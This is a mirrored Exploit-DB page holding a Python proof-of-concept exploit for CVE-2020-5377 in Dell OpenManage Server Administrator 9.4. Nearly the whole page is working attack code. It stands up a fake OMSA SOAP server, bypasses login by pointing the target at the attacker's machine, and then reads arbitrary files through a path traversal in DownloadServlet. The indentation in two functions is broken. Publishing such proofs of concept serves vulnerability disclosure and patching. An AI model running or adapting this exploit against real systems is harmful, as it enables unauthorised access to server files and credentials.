Dell OpenManage Server Administrator 9.4.0.0 – Arbitrary File Read

  • 作者: Rhino Security Labs
    日期: 2021-04-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49750/
  • # Exploit Title: Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read
    # Date: 4/27/2020
    # Exploit Author: Rhino Security Labs
    # Version: <= 9.4
    # Description: Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.
    # CVE: CVE-2020-5377
    
    # This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator
    # Proof of concept written by: David Yesland @daveysec with Rhino Security Labs
    # More information can be found here: 
    # A patch for this issue can be found here: 
    # https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability
    
    from xml.sax.saxutils import escape
    import BaseHTTPServer
    import requests
    import thread
    import ssl
    import sys
    import re
    import os
    
    import urllib3
    urllib3.disable_warnings()
    
    if len(sys.argv) < 3:
    	print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>'
    	exit()
    
    #This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
    #Also check out https://github.com/hantwister/FakeDellOM
    class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    	def do_POST(s):
    		data = ''
    		content_len = int(s.headers.getheader('content-length', 0))
    		post_body = s.rfile.read(content_len)
    		s.send_response(200)
    		s.send_header("Content-type", "application/soap+xml;charset=UTF-8")
    		s.end_headers()
    		if "__00omacmd=getuserrightsonly" in post_body:
    			data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
    		if "__00omacmd=getaboutinfo " in post_body:
    			data = escape("<ProductVersion>6.0.3</ProductVersion>")
    		if data:
    			requid = re.findall('>uuid:(.*?)<',post_body)[0]
    			s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>
    							<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
    							<s:Header>
    							<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
    							<wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo>
    							<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
    							</s:Header>
    							<s:Body>
    							<n1:SendCmd_OUTPUT>
    							<n1:ResultCode>0</n1:ResultCode>
    							<n1:ReturnValue>'''+data+'''</n1:ReturnValue>
    							</n1:SendCmd_OUTPUT>
    							</s:Body>
    							</s:Envelope>''')
    
    		else:
    			s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')
    
    	def log_message(self, format, *args):
    		return
    
    createdCert = False
    if not os.path.isfile('./server.pem'):
    	print '[-] No server.pem certifcate file found. Generating one...'
    	os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
    	createdCert = True
    
    def startServer():
    	server_class = BaseHTTPServer.HTTPServer
    	httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)
    	httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
    	httpd.serve_forever()
    
    thread.start_new_thread(startServer,())
    
    myIP = sys.argv[1]
    target = sys.argv[2]
    
    def bypassAuth():
    	values = {}
    	url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
    	data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
    	r = requests.post(url, data=data, verify=False, allow_redirects=False)
    	cookieheader = r.headers['Set-Cookie']
    	sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)
    	pathid = re.findall('Path=/(.*?);',cookieheader)
    	values['sessionid'] = sessionid[0]
    	values['pathid'] = pathid[0]
    	return values
    
    ids = bypassAuth()
    sessionid = ids['sessionid']
    pathid = ids['pathid']
    
    print "Session: "+sessionid
    print "VID: "+pathid
    
    def readFile(target,sessid,pathid):
    while True:
    file = raw_input('file > ')
    url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)
    cookies = {"JSESSIONID": sessid}
    r = requests.get(url, cookies=cookies, verify=False)
    print 'Reading contents of {}:\n{}'.format(file,r.content)
    
    def getPath(path):
    	if path.lower().startswith('c:\\'):
    		path = path[2:]
    path = path.replace('\\','/')
    return path
    
    readFile(target,sessionid,pathid)